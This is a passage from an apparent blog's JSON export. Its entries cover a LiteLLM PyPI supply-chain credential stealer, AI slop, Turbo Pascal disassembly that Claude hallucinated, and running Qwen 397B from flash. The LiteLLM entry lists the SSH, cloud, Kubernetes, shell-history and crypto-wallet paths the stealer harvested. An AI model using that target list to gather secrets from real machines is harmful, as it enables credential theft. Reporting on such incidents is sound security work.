`~/.lftprc`, `~/.msmtprc`, `~/.my.cnf`, `~/.pgpass`, `~/.mongorc.js`, `~/.bash_history`, `~/.zsh_history`, `~/.sh_history`, `~/.mysql_history`, `~/.psql_history`, `~/.rediscli_history`, `~/.bitcoin/`, `~/.litecoin/`, `~/.dogecoin/`, `~/.zcash/`, `~/.dashcore/`, `~/.ripple/`, `~/.bitmonero/`, `~/.ethereum/`, `~/.cardano/`.\r\n\r\nIt looks like this supply chain attack started with the [recent exploit](https://www.crowdstrike.com/en-us/blog/from-scanner-to-stealer-inside-the-trivy-action-supply-chain-compromise/) against [Trivy](https://trivy.dev/), ironically a security scanner tool that was used in CI [by LiteLLM](https://github.com/BerriAI/litellm/blob/9343aeefca37aa49a6ea54397d7615adae5c72c9/ci_cd/security_scans.sh#L16). The Trivy exploit likely resulted in stolen PyPI credentials which were then used to directly publish the vulnerable packages.",
  "created": "2026-03-24T15:07:31+00:00",
  "metadata": {},
  "search_document": "'/),':198C '/.aws':151C '/.azure':154C '/.bash_history':164C '/.bitcoin':170C '/.bitmonero':176C '/.cardano':178C '/.config':153C '/.dashcore':174C '/.docker':155C '/.dogecoin':172C '/.ethereum':177C '/.git-credentials':150C '/.gitconfig':149C '/.kube':152C '/.lftprc':159C '/.litecoin':171C '/.mongorc.js':163C '/.msmtprc':160C '/.my.cnf':161C '/.mysql_history':167C '/.netrc':158C '/.npmrc':156C '/.pgpass':162C '/.psql_history':168C '/.rediscli_history':169C '/.ripple':175C '/.sh_history':166C '/.ssh':148C '/.vault-token':157C '/.zcash':173C '/.zsh_history':165C '/berriai/litellm/blob/9343aeefca37aa49a6ea54397d7615adae5c72c9/ci_cd/security_scans.sh#l16).':213C '/berriai/litellm/issues/24518).':106C '/en-us/blog/from-scanner-to-stealer-inside-the-trivy-action-supply-chain-compromise/)':193C '/help/#project_in_quarantine)':113C '/project/litellm/)':119C '1.82.7':54C '1.82.8':5A 'a':27C,36C,82C,127C,142C,200C 'about':96C 'against':194C 'already':109C 'array':144C 'as':58C 'attack':185C 'base64':34C 'be':72C 'bewildering':143C 'but':60C,130C 'by':209C 'chain':16B,184C 'ci':208C 'compromise':124C 'compromised':25C 'credential':6A,30C,89C 'credentials':222C 'description':85C 'detailed':84C 'did':133C 'directly':228C 'does':91C 'effect':78C 'enough':45C 'even':49C 'exploit':57C,101C,190C,216C 'few':128C 'file':38C,66C 'for':74C,123C 'github.com':105C,212C,233C 'github.com/berriai/litellm/blob/9343aeefca37aa49a6ea54397d7615adae5c72c9/ci_cd/security_scans.sh#l16).':211C 'github.com/berriai/litellm/issues/24518).':104C 'had':55C,70C 'has':81C,108C 'have':139C 'here':103C 'hidden':32C 'hoovered':140C 'hours':129C 'if':131C 'import':52C 'imported':73C 'in':3A,33C,35C,63C,207C,219C 'including':147C 'information':95C 'install':134C 'installing':41C 'ironically':199C 'is':44C 'issue':80C 'it':48C,61C,75C,137C,179C 'just':126C 'like':181C 'likely':217C 'litellm':4A,18C,53C,115C,210C 'litellm_init.pth':2A,37C 'looks':180C 'malicious':1A 'means':40C 'more':94C 'nasty':29C 'of':86C,99C,145C 'open':9B 'open-source':8B 'over':102C 'package':20C,43C,69C,116C,136C 'packages':232C 'particularly':28C 'proxy/proxy_server.py':65C 'publish':229C 'published':21C 'pypi':11B,23C,107C,221C 'pypi.org':112C,118C 'pypi.org/help/#project_in_quarantine)':111C 'pypi.org/project/litellm/)':117C 'python':12B 'quarantined':110C 'recent':189C 'resulted':218C 'running':51C 's':93C 'scanner':202C 'secrets':146C 'security':13B,201C 'so':67C,120C 'source':10B 'started':186C 'stealer':7A,31C,90C 'stolen':220C 'supply':15B,183C 'supply-chain':14B 'take':77C 'that':204C 'the':17C,42C,56C,64C,68C,88C,97C,100C,114C,121C,135C,188C,214C,230C 'then':225C 'there':92C 'this':79C,182C 'timeline':98C 'to':22C,46C,71C,76C,227C 'tool':203C 'trigger':47C 'trivy':195C,215C 'trivy.dev':197C 'trivy.dev/),':196C 'up':141C 'used':206C,226C 'v1.82.8':19C 'very':83C 'vulnerable':231C 'was':24C,62C,125C,205C 'well':59C 'were':224C 'what':87C 'which':39C,223C 'window':122C 'with':26C,187C 'without':50C 'would':138C 'www.crowdstrike.com':192C 'www.crowdstrike.com/en-us/blog/from-scanner-to-stealer-inside-the-trivy-action-supply-chain-compromise/)':191C 'you':132C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-03-23 23:31:45+00:00
{
  "id": 2094,
  "slug": "neurotica",
  "quotation": "slop is something that takes more human effort to consume than it took to produce. When my coworker sends me raw Gemini output he\u2019s not expressing his freedom to create, he\u2019s disrespecting the value of my time",
  "source": "Neurotica",
  "source_url": "https://bsky.app/profile/schwarzgerat.bsky.social/post/3mhqu5dogos2v",
  "created": "2026-03-23T23:31:45+00:00",
  "metadata": {},
  "search_document": "'ai':40B,43B,47B 'ai-ethics':46B 'consume':10A 'coworker':18A 'create':31A 'disrespecting':34A 'effort':8A 'ethics':48B 'expressing':27A 'freedom':29A 'gemini':22A 'generative':42B 'generative-ai':41B 'he':24A,32A 'his':28A 'human':7A 'is':2A 'it':12A 'llms':44B 'me':20A 'more':6A 'my':17A,38A 'neurotica':49C 'not':26A 'of':37A 'output':23A 'produce':15A 'raw':21A 's':25A,33A 'sends':19A 'slop':1A,45B 'something':3A 'takes':5A 'than':11A 'that':4A 'the':35A 'time':39A 'to':9A,14A,30A 'took':13A 'value':36A 'when':16A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "@schwarzgerat.bsky.social"
}
quotation 2026-03-23 18:56:18+00:00
{
  "id": 2093,
  "slug": "david-abram",
  "quotation": "I have been doing this for years, and the hardest parts of the job were never about typing out code. I have always struggled most with understanding systems, debugging things that made no sense, designing architectures that wouldn't collapse under heavy load, and making decisions that would save months of pain later.\r\n\r\nNone of these problems can be solved LLMs. They can suggest code, help with boilerplate, sometimes can act as a sounding board. But they don't understand the system, they don't carry context in their \"minds\", and they certianly don't know why a decision is right or wrong.\r\n\r\nAnd the most importantly, they don't choose. That part is still yours. The real work of software development, the part that makes someone valuable, is knowing what should exist in the first place, and why.",
  "source": "David Abram",
  "source_url": "https://www.davidabram.dev/musings/the-machine-didnt-take-your-craft/",
  "created": "2026-03-23T18:56:18+00:00",
  "metadata": {},
  "search_document": "'a':73A,98A 'about':17A 'abram':151C 'act':71A 'ai':141B,144B,147B 'ai-assisted-programming':146B 'always':23A 'and':8A,44A,91A,104A,138A 'architectures':36A 'as':72A 'assisted':148B 'be':59A 'been':3A 'board':75A 'boilerplate':68A 'but':76A 'can':58A,63A,70A 'careers':140B 'carry':86A 'certianly':93A 'choose':111A 'code':20A,65A 'collapse':40A 'context':87A 'david':150C 'debugging':29A 'decision':99A 'decisions':46A 'designing':35A 'development':122A 'doing':4A 'don':78A,84A,94A,109A 'exist':133A 'first':136A 'for':6A 'generative':143B 'generative-ai':142B 'hardest':10A 'have':2A,22A 'heavy':42A 'help':66A 'i':1A,21A 'importantly':107A 'in':88A,134A 'is':100A,114A,129A 'job':14A 'know':96A 'knowing':130A 'later':53A 'llms':61A,145B 'load':43A 'made':32A 'makes':126A 'making':45A 'minds':90A 'months':50A 'most':25A,106A 'never':16A 'no':33A 'none':54A 'of':12A,51A,55A,120A 'or':102A 'out':19A 'pain':52A 'part':113A,124A 'parts':11A 'place':137A 'problems':57A 'programming':149B 'real':118A 'right':101A 'save':49A 'sense':34A 'should':132A 'software':121A 'solved':60A 'someone':127A 'sometimes':69A 'sounding':74A 'still':115A 'struggled':24A 'suggest':64A 'system':82A 'systems':28A 't':39A,79A,85A,95A,110A 'that':31A,37A,47A,112A,125A 'the':9A,13A,81A,105A,117A,123A,135A 'their':89A 'these':56A 'they':62A,77A,83A,92A,108A 'things':30A 'this':5A 'typing':18A 'under':41A 'understand':80A 'understanding':27A 'valuable':128A 'were':15A 'what':131A 'why':97A,139A 'with':26A,67A 'work':119A 'would':48A 'wouldn':38A 'wrong':103A 'years':7A 'yours':116A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "The machine didn't take your craft. You gave it up."
}
blogmark 2026-03-20 23:59:14+00:00
{
  "id": 9359,
  "slug": "turbo-pascal",
  "link_url": "https://tools.simonwillison.net/turbo-pascal-deconstructed",
  "link_title": "Turbo Pascal 3.02A, deconstructed",
  "via_url": null,
  "via_title": null,
  "commentary": "In [Things That Turbo Pascal is Smaller Than](https://prog21.dadgum.com/116.html) James Hague lists things (from 2011) that are larger in size than Borland's 1985 Turbo Pascal 3.02 executable - a 39,731 byte file that somehow included a full text editor IDE and Pascal compiler.\r\n\r\nThis inspired me to track down a copy of that executable (available as freeware since 2000) and see if Claude could interpret the binary and decompile it for me.\r\n\r\nIt did a great job, so I had it create [this interactive artifact](https://tools.simonwillison.net/turbo-pascal-deconstructed) illustrating the result. Here's the [sequence of prompts](https://claude.ai/share/260d2eed-8d4a-4b9f-8a75-727c3ec4274e) I used (in regular [claude.ai](https://claude.ai/) chat, not Claude Code):\r\n\r\n> Read this https://prog21.dadgum.com/116.html\r\n\r\n> Now find a copy of that binary online\r\n\r\n> Explore this (*I attached the zip file*)\r\n\r\n> Build an artifact - no react - that embeds the full turbo.com binary and displays it in a way that helps understand it - broke into labeled segments for different parts of the application, decompiled to visible source code (I guess assembly?) and with that assembly then reconstructed into readable code with extensive annotations\r\n\r\n![Infographic titled \"TURBO.COM\" with subtitle \"Borland Turbo Pascal 3.02A \u2014 September 17, 1986 \u2014 Deconstructed\" on a dark background. Four statistics are displayed: 39,731 TOTAL BYTES, 17 SEGMENTS MAPPED, 1 INT 21H INSTRUCTION, 100+ BUILT-IN IDENTIFIERS. Below is a \"BINARY MEMORY MAP \u2014 0X0100 TO 0X9C33\" shown as a horizontal color-coded bar chart with a legend listing 17 segments: COM Header & Copyright, Display Configuration Table, Screen I/O & Video BIOS Routines, Keyboard Input Handler, String Output & Number Formatting, DOS System Call Dispatcher, Runtime Library Core, Error Handler & Runtime Errors, File I/O System, Software Floating-Point Engine, x86 Code Generator, Startup Banner & Main Menu Loop, File Manager & Directory Browser, Compiler Driver & Status, Full-Screen Text Editor, Pascal Parser & Lexer, and Symbol Table & Built-in Identifiers.](https://static.simonwillison.net/static/2026/turbo-pascal.jpg)\r\n\r\n**Update**: Annoyingly the [Claude share link](https://claude.ai/share/260d2eed-8d4a-4b9f-8a75-727c3ec4274e) doesn't show the actual code that Claude executed, but here's [the zip file](https://static.simonwillison.net/static/2026/turbo-pascal-analysis.zip) it gave me when I asked to download all of the intermediate files.\r\n\r\nI ran Codex CLI with GPT-5.4 xhigh against that zip file to see if it would spot any obvious hallucinations, and it did not. This project is low-enough stakes that this gave me enough confidence to publish the result!\r\n\r\n<h4 id=\"hallucinated-slop\">Turns out it's hallucinated slop</h4>\r\n\r\n**Update 2**, 24th March 2026: rep_lodsb on Hacker News is someone who actually understands assembler, and they reviewed the annotations and [found them to be hallucinated slop](https://news.ycombinator.com/item?id=47471647#47501692):\r\n\r\n> [...] Obviously, there has to be a lot more to even a simple-minded x86 code generator than just a generic \"emit opcode byte\" and \"emit call\" routine. In general, what A\"I\" produced here is not a full disassembly but a collection of short snippets, potentially not even including the really interesting ones. But is it even correct?\r\n>\r\n> EmitByte here is unnecessarily pushing/popping AX, which isn't modified by the few instructions in between at all. No competent assembly language programmer would do this. So maybe against all expectations, Turbo Pascal is just really badly coded? No, it's of course a hallucination: those instructions don't appear in the binary at all! [...]\r\n>\r\n> But searching for e.g. the hex opcode B0 E8 ('mov al,0xe8') is enough to confirm that this code snippet isn't to be found *anywhere*.\r\n>\r\n> There is a lot more suspicious code, including some that couldn't possibly work (like the \"ret 1\" in the system call dispatcher, which would misalign the stack).\r\n>\r\n> Conclusion: it's slop\r\n\r\nBecause it's amusing to loop this kind of criticism through a model, I [pasted their feedback into Claude](https://claude.ai/share/a64c94eb-c623-4fd4-b101-e3e7d66c77ca) along with instructions to re-review their the code and it agreed with their assessment:\r\n\r\n> The commenter's core charge \u2014 that the annotated disassembly is \"slop\" \u2014 is substantiated. The artifact presents a mix of genuine analysis (real hex dumps, some correctly disassembled sections) and wholesale fabrication (invented assembly with plausible-sounding labels and comments for roughly half the binary). The fabricated sections look convincing to a casual reader but don't survive byte-level comparison with the actual binary.",
  "created": "2026-03-20T23:59:14+00:00",
  "metadata": {},
  "search_document": "'-5.4':380C '/)':126C '/116.html':135C '/116.html)':26C '/item?id=47471647#47501692):':452C '/share/260d2eed-8d4a-4b9f-8a75-727c3ec4274e)':118C,342C '/share/a64c94eb-c623-4fd4-b101-e3e7d66c77ca)':646C '/static/2026/turbo-pascal-analysis.zip)':360C '/static/2026/turbo-pascal.jpg)':333C '/turbo-pascal-deconstructed)':106C '0x0100':246C '0x9c33':248C '0xe8':578C '1':231C,610C '100':235C '17':213C,228C,262C '1985':41C '1986':214C '2':423C '2000':77C '2011':32C '2026':426C '21h':233C '24th':424C '3.02':3A,44C,210C '39':47C,224C '731':48C,225C 'a':4A,46C,54C,68C,93C,138C,166C,211C,217C,242C,251C,259C,458C,463C,472C,484C,490C,494C,555C,595C,636C,679C,714C 'actual':347C,727C 'actually':435C 'against':382C,540C 'agreed':659C 'ai':10B,13B 'al':577C 'all':369C,529C,541C,566C 'along':647C 'amusing':628C 'an':152C 'analysis':683C 'and':59C,78C,86C,162C,190C,324C,395C,438C,443C,477C,657C,691C,701C 'annotated':670C 'annotations':201C,442C 'annoyingly':335C 'any':392C 'anywhere':592C 'appear':561C 'application':181C 'are':34C,222C 'artifact':103C,153C,677C 'as':74C,250C 'asked':366C 'assembler':437C 'assembly':189C,193C,532C,695C 'assessment':662C 'at':528C,565C 'attached':147C 'available':73C 'ax':517C 'b0':574C 'background':219C 'badly':548C 'banner':305C 'bar':256C 'be':447C,457C,590C 'because':625C 'below':240C 'between':527C 'binary':85C,142C,161C,243C,564C,707C,728C 'bios':273C 'borland':39C,207C 'broke':172C 'browser':312C 'build':151C 'built':237C,328C 'built-in':236C,327C 'but':352C,493C,507C,567C,717C 'by':522C 'byte':49C,476C,722C 'byte-level':721C 'bytes':227C 'call':284C,479C,614C 'casual':715C 'charge':667C 'chart':257C 'chat':127C 'claude':15B,81C,129C,337C,350C,643C 'claude.ai':117C,123C,125C,341C,645C 'claude.ai/)':124C 'claude.ai/share/260d2eed-8d4a-4b9f-8a75-727c3ec4274e)':116C,340C 'claude.ai/share/a64c94eb-c623-4fd4-b101-e3e7d66c77ca)':644C 'cli':377C 'code':130C,186C,198C,302C,348C,468C,585C,599C,656C 'coded':255C,549C 'codex':376C 'collection':495C 'color':254C 'color-coded':253C 'com':264C 'commenter':664C 'comments':702C 'comparison':724C 'competent':531C 'compiler':61C,313C 'computer':7B 'computer-history':6B 'conclusion':621C 'confidence':411C 'configuration':268C 'confirm':582C 'convincing':712C 'copy':69C,139C 'copyright':266C 'core':288C,666C 'correct':511C 'correctly':688C 'could':82C 'couldn':603C 'course':554C 'create':100C 'criticism':634C 'dark':218C 'decompile':87C 'decompiled':182C 'deconstructed':5A,215C 'did':92C,397C 'different':177C 'directory':311C 'disassembled':689C 'disassembly':492C,671C 'dispatcher':285C,615C 'display':267C 'displayed':223C 'displays':163C 'do':536C 'doesn':343C 'don':559C,718C 'dos':282C 'down':67C 'download':368C 'driver':314C 'dumps':686C 'e.g':570C 'e8':575C 'editor':57C,320C 'embeds':157C 'emit':474C,478C 'emitbyte':512C 'engine':300C 'enough':404C,410C,580C 'error':289C 'errors':292C 'even':462C,501C,510C 'executable':45C,72C 'executed':351C 'expectations':542C 'explore':144C 'extensive':200C 'fabricated':709C 'fabrication':693C 'feedback':641C 'few':524C 'file':50C,150C,293C,309C,357C,385C 'files':373C 'find':137C 'floating':298C 'floating-point':297C 'for':89C,176C,569C,703C 'formatting':281C 'found':444C,591C 'four':220C 'freeware':75C 'from':31C 'full':55C,159C,317C,491C 'full-screen':316C 'gave':362C,408C 'general':482C 'generative':12B 'generative-ai':11B 'generator':303C,469C 'generic':473C 'genuine':682C 'gpt':379C 'great':94C 'guess':188C 'hacker':430C 'had':98C 'hague':28C 'half':705C 'hallucinated':420C,448C 'hallucination':556C 'hallucinations':394C 'handler':277C,290C 'has':455C 'header':265C 'helps':169C 'here':110C,353C,487C,513C 'hex':572C,685C 'history':8B 'horizontal':252C 'i':97C,119C,146C,187C,365C,374C,485C,638C 'i/o':271C,294C 'ide':58C 'identifiers':239C,330C 'if':80C,388C 'illustrating':107C 'in':16C,36C,121C,165C,238C,329C,481C,526C,562C,611C 'included':53C 'including':502C,600C 'infographic':202C 'input':276C 'inspired':63C 'instruction':234C 'instructions':525C,558C,649C 'int':232C 'interactive':102C 'interesting':505C 'intermediate':372C 'interpret':83C 'into':173C,196C,642C 'invented':694C 'is':21C,241C,401C,432C,488C,508C,514C,545C,579C,594C,672C,674C 'isn':519C,587C 'it':88C,91C,99C,164C,171C,361C,389C,396C,418C,509C,551C,622C,626C,658C 'james':27C 'job':95C 'just':471C,546C 'keyboard':275C 'kind':632C 'labeled':174C 'labels':700C 'language':533C 'larger':35C 'legend':260C 'level':723C 'lexer':323C 'library':287C 'like':607C 'link':339C 'listing':261C 'lists':29C 'llms':14B 'lodsb':428C 'look':711C 'loop':308C,630C 'lot':459C,596C 'low':403C 'low-enough':402C 'main':306C 'manager':310C 'map':245C 'mapped':230C 'march':425C 'maybe':539C 'me':64C,90C,363C,409C 'memory':244C 'menu':307C 'minded':466C 'misalign':618C 'mix':680C 'model':637C 'modified':521C 'more':460C,597C 'mov':576C 'news':431C 'news.ycombinator.com':451C 'news.ycombinator.com/item?id=47471647#47501692):':450C 'no':154C,530C,550C 'not':128C,398C,489C,500C 'now':136C 'number':280C 'obvious':393C 'obviously':453C 'of':70C,114C,140C,179C,370C,496C,553C,633C,681C 'on':216C,429C 'ones':506C 'online':143C 'opcode':475C,573C 'out':417C 'output':279C 'parser':322C 'parts':178C 'pascal':2A,20C,43C,60C,209C,321C,544C 'pasted':639C 'plausible':698C 'plausible-sounding':697C 'point':299C 'possibly':605C 'potentially':499C 'presents':678C 'produced':486C 'prog21.dadgum.com':25C,134C 'prog21.dadgum.com/116.html':133C 'prog21.dadgum.com/116.html)':24C 'programmer':534C 'project':400C 'prompts':115C 'publish':413C 'pushing/popping':516C 'ran':375C 're':652C 're-review':651C 'react':155C 'read':131C 'readable':197C 'reader':716C 'real':684C 'really':504C,547C 'reconstructed':195C 'regular':122C 'rep':427C 'result':109C,415C 'ret':609C 'review':653C 'reviewed':440C 'roughly':704C 'routine':480C 'routines':274C 'runtime':286C,291C 's':40C,111C,354C,419C,552C,623C,627C,665C 'screen':270C,318C 'searching':568C 'sections':690C,710C 'see':79C,387C 'segments':175C,229C,263C 'september':212C 'sequence':113C 'share':338C 'short':497C 'show':345C 'shown':249C 'simple':465C 'simple-minded':464C 'since':76C 'size':37C 'slop':421C,449C,624C,673C 'smaller':22C 'snippet':586C 'snippets':498C 'so':96C,538C 'software':296C 'some':601C,687C 'somehow':52C 'someone':433C 'sounding':699C 'source':185C 'spot':391C 'stack':620C 'stakes':405C 'startup':304C 'static.simonwillison.net':332C,359C 'static.simonwillison.net/static/2026/turbo-pascal-analysis.zip)':358C 'static.simonwillison.net/static/2026/turbo-pascal.jpg)':331C 'statistics':221C 'status':315C 'string':278C 'substantiated':675C 'subtitle':206C 'survive':720C 'suspicious':598C 'symbol':325C 'system':283C,295C,613C 't':344C,520C,560C,588C,604C,719C 'table':269C,326C 'text':56C,319C 'than':23C,38C,470C 'that':18C,33C,51C,71C,141C,156C,168C,192C,349C,383C,406C,583C,602C,668C 'the':84C,108C,112C,148C,158C,180C,336C,346C,355C,371C,414C,441C,503C,523C,563C,571C,608C,612C,619C,655C,663C,669C,676C,706C,708C,726C 'their':640C,654C,661C 'them':445C 'then':194C 'there':454C,593C 'they':439C 'things':17C,30C 'this':62C,101C,132C,145C,399C,407C,537C,584C,631C 'those':557C 'through':635C 'titled':203C 'to':65C,183C,247C,367C,386C,412C,446C,456C,461C,581C,589C,629C,650C,713C 'tools':9B 'tools.simonwillison.net':105C,729C 'tools.simonwillison.net/turbo-pascal-deconstructed)':104C 'total':226C 'track':66C 'turbo':1A,19C,42C,208C,543C 'turbo.com':160C,204C 'turns':416C 'understand':170C 'understands':436C 'unnecessarily':515C 'update':334C,422C 'used':120C 'video':272C 'visible':184C 'way':167C 'what':483C 'when':364C 'which':518C,616C 'who':434C 'wholesale':692C 'with':191C,199C,205C,258C,378C,648C,660C,696C,725C 'work':606C 'would':390C,535C,617C 'x86':301C,467C 'xhigh':381C 'zip':149C,356C,384C",
  "import_ref": null,
  "card_image": "https://static.simonwillison.net/static/2026/turbo-pascal-card.jpg",
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-03-20 20:29:23+00:00
{
  "id": 2060,
  "slug": "cursor-on-kimi",
  "quotation": "Congrats to the [@cursor_ai](https://x.com/cursor_ai) team on the launch of Composer 2!\r\n\r\nWe are proud to see Kimi-k2.5 provide the foundation. Seeing our model integrated effectively through Cursor's continued pretraining & high-compute RL training is the open model ecosystem we love to support.\r\n\r\nNote: Cursor accesses Kimi-k2.5 via [@FireworksAI_HQ](https://x.com/FireworksAI_HQ) hosted RL and inference platform as part of an authorized commercial partnership.",
  "source": "Kimi.ai @Kimi_Moonshot",
  "source_url": "https://twitter.com/Kimi_Moonshot/status/2035074972943831491",
  "created": "2026-03-20T20:29:23+00:00",
  "metadata": {},
  "search_document": "'/cursor_ai)':8A '/fireworksai_hq)':64A '2':15A '5':24A,58A 'accesses':54A 'ai':5A,77B,80B,84B 'ai-in-china':83B 'an':73A 'and':67A 'are':17A 'as':70A 'authorized':74A 'china':86B 'commercial':75A 'composer':14A 'compute':40A 'congrats':1A 'continued':36A 'cursor':4A,34A,53A,82B 'ecosystem':47A 'effectively':32A 'fireworksai':60A 'foundation':27A 'generative':79B 'generative-ai':78B 'high':39A 'high-compute':38A 'hosted':65A 'hq':61A 'in':85B 'inference':68A 'integrated':31A 'is':43A 'k2':23A,57A 'kimi':22A,56A,87B,89C 'kimi-k2':21A,55A 'kimi.ai':88C 'launch':12A 'llms':81B 'love':49A 'model':30A,46A 'moonshot':90C 'note':52A 'of':13A,72A 'on':10A 'open':45A 'our':29A 'part':71A 'partnership':76A 'platform':69A 'pretraining':37A 'proud':18A 'provide':25A 'rl':41A,66A 's':35A 'see':20A 'seeing':28A 'support':51A 'team':9A 'the':3A,11A,26A,44A 'through':33A 'to':2A,19A,50A 'training':42A 'via':59A 'we':16A,48A 'x.com':7A,63A 'x.com/cursor_ai)':6A 'x.com/fireworksai_hq)':62A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "responding to reports that Composer 2 was built on top of Kimi K2.5"
}
blogmark 2026-03-18 23:56:46+00:00
{
  "id": 9337,
  "slug": "llm-in-a-flash",
  "link_url": "https://twitter.com/danveloper/status/2034353876753592372",
  "link_title": "Autoresearching Apple's \"LLM in a Flash\" to run Qwen 397B locally",
  "via_url": null,
  "via_title": null,
  "commentary": "Here's a fascinating piece of research by Dan Woods, who managed to get a custom version of [Qwen3.5-397B-A17B](https://huggingface.co/Qwen/Qwen3.5-397B-A17B/tree/main) running at 5.5+ tokens/second on a 48GB MacBook Pro M3 Max despite that model taking up 209GB (120GB quantized) on disk.\r\n\r\nQwen3.5-397B-A17B is a Mixture-of-Experts (MoE) model, which means that each token only needs to run against a subset of the overall model weights. These expert weights can be streamed into memory from SSD, saving them from all needing to be held in RAM at the same time.\r\n\r\nDan used techniques described in Apple's 2023 paper [LLM in a flash: Efficient Large Language Model Inference with Limited Memory](https://arxiv.org/abs/2312.11514):\r\n\r\n> This paper tackles the challenge of efficiently running LLMs that exceed the available DRAM capacity by storing the model parameters in flash memory, but bringing them on demand to DRAM. Our method involves constructing an inference cost model that takes into account the characteristics of flash memory, guiding us to optimize in two critical areas: reducing the volume of data transferred from flash and reading data in larger, more contiguous chunks.\r\n\r\nHe fed the paper to Claude Code and used a variant of Andrej Karpathy's [autoresearch pattern](https://simonwillison.net/2026/Mar/13/liquid/) to have Claude run 90 experiments and produce MLX Objective-C and Metal code that ran the model as efficiently as possible.\r\n\r\n[danveloper/flash-moe](https://github.com/danveloper/flash-moe) has the resulting code plus [a PDF paper](https://github.com/danveloper/flash-moe/blob/main/paper/flash_moe.pdf) mostly written by Claude Opus 4.6 describing the experiment in full.\r\n\r\nThe final model has the experts quantized to 2-bit, but the non-expert parts of the model such as the embedding table and routing matrices are kept at their original precision, adding up to 5.5GB which stays resident in memory while the model is running.\r\n\r\nQwen 3.5 usually runs 10 experts per token, but this setup dropped that to 4 while claiming that the biggest quality drop-off occurred at 3.\r\n\r\nIt's not clear to me how much the quality of the model results are affected. Claude claimed that \"Output quality at 2-bit is indistinguishable from 4-bit for these evaluations\", but the description of the evaluations it ran is quite thin.\r\n\r\n**Update**: Dan's [latest version](https://twitter.com/danveloper/status/2034686509748462022) upgrades to 4-bit quantization of the experts (209GB on disk, 4.36 tokens/second) after finding that the 2-bit version broke tool calling while 4-bit handles that well.",
  "created": "2026-03-18T23:56:46+00:00",
  "metadata": {},
  "search_document": "'/2026/mar/13/liquid/)':231C '/abs/2312.11514):':140C '/danveloper/flash-moe)':258C '/danveloper/flash-moe/blob/main/paper/flash_moe.pdf)':269C '/danveloper/status/2034686509748462022)':406C '/qwen/qwen3.5-397b-a17b/tree/main)':45C '10':333C '120gb':63C '2':289C,378C,424C '2023':124C '209gb':62C,415C '3':355C '3.5':330C '397b':11A '4':343C,383C,409C,431C '4.36':418C '4.6':275C '48gb':52C '5.5':48C,317C '90':236C 'a':6A,26C,38C,51C,69C,86C,128C,221C,264C 'account':182C 'adding':314C 'affected':371C 'after':420C 'against':85C 'ai':13B,16B 'all':106C 'an':175C 'and':204C,219C,238C,244C,305C 'andrej':224C 'apple':2A,122C 'are':308C,370C 'areas':195C 'arxiv.org':139C 'arxiv.org/abs/2312.11514):':138C 'as':251C,253C,301C 'at':47C,113C,310C,354C,377C 'autoresearch':23B,227C 'autoresearching':1A 'available':153C 'be':97C,109C 'biggest':348C 'bit':290C,379C,384C,410C,425C,432C 'bringing':165C 'broke':427C 'but':164C,291C,337C,388C 'by':31C,156C,272C 'c':243C 'calling':429C 'can':96C 'capacity':155C 'challenge':145C 'characteristics':184C 'chunks':211C 'claimed':373C 'claiming':345C 'claude':217C,234C,273C,372C 'clear':359C 'code':218C,246C,262C 'constructing':174C 'contiguous':210C 'cost':177C 'critical':194C 'custom':39C 'dan':32C,117C,400C 'danveloper/flash-moe':255C 'data':200C,206C 'demand':168C 'described':120C 'describing':276C 'description':390C 'despite':57C 'disk':66C,417C 'dram':154C,170C 'drop':351C 'drop-off':350C 'dropped':340C 'each':79C 'efficient':130C 'efficiently':147C,252C 'embedding':303C 'evaluations':387C,393C 'exceed':151C 'experiment':278C 'experiments':237C 'expert':94C,295C 'experts':73C,286C,334C,414C 'fascinating':27C 'fed':213C 'final':282C 'finding':421C 'flash':7A,129C,162C,186C,203C 'for':385C 'from':101C,105C,202C,382C 'full':280C 'gb':318C 'generative':15B 'generative-ai':14B 'get':37C 'github.com':257C,268C 'github.com/danveloper/flash-moe)':256C 'github.com/danveloper/flash-moe/blob/main/paper/flash_moe.pdf)':267C 'guiding':188C 'handles':433C 'has':259C,284C 'have':233C 'he':212C 'held':110C 'here':24C 'how':362C 'huggingface.co':44C 'huggingface.co/qwen/qwen3.5-397b-a17b/tree/main)':43C 'in':5A,111C,121C,127C,161C,192C,207C,279C,322C 'indistinguishable':381C 'inference':134C,176C 'into':99C,181C 'involves':173C 'is':68C,327C,380C,396C 'it':356C,394C 'karpathy':225C 'kept':309C 'language':132C 'large':131C 'larger':208C 'latest':402C 'limited':136C 'llm':4A,126C 'llms':19B,20B,149C 'local':18B 'local-llms':17B 'locally':12A 'm3':55C 'macbook':53C 'managed':35C 'matrices':307C 'max':56C 'me':361C 'means':77C 'memory':100C,137C,163C,187C,323C 'metal':245C 'method':172C 'mixture':71C 'mixture-of-experts':70C 'mlx':22B,240C 'model':59C,75C,91C,133C,159C,178C,250C,283C,299C,326C,368C 'moe':74C 'more':209C 'mostly':270C 'much':363C 'needing':107C 'needs':82C 'non':294C 'non-expert':293C 'not':358C 'objective':242C 'objective-c':241C 'occurred':353C 'of':29C,41C,72C,88C,146C,185C,199C,223C,297C,366C,391C,412C 'off':352C 'on':50C,65C,167C,416C 'only':81C 'optimize':191C 'opus':274C 'original':312C 'our':171C 'output':375C 'overall':90C 'paper':125C,142C,215C,266C 'parameters':160C 'parts':296C 'pattern':228C 'pdf':265C 'per':335C 'piece':28C 'plus':263C 'possible':254C 'precision':313C 'pro':54C 'produce':239C 'quality':349C,365C,376C 'quantization':411C 'quantized':64C,287C 'quite':397C 'qwen':10A,21B,329C 'qwen3.5-397b-a17b':42C,67C 'ram':112C 'ran':248C,395C 'reading':205C 'reducing':196C 'research':30C 'resident':321C 'resulting':261C 'results':369C 'routing':306C 'run':9A,84C,235C 'running':46C,148C,328C 'runs':332C 's':3A,25C,123C,226C,357C,401C 'same':115C 'saving':103C 'setup':339C 'simonwillison.net':230C 'simonwillison.net/2026/mar/13/liquid/)':229C 'ssd':102C 'stays':320C 'storing':157C 'streamed':98C 'subset':87C 'such':300C 'table':304C 'tackles':143C 'takes':180C 'taking':60C 'techniques':119C 'that':58C,78C,150C,179C,247C,341C,346C,374C,422C,434C 'the':89C,114C,144C,152C,158C,183C,197C,214C,249C,260C,277C,281C,285C,292C,298C,302C,325C,347C,364C,367C,389C,392C,413C,423C 'their':311C 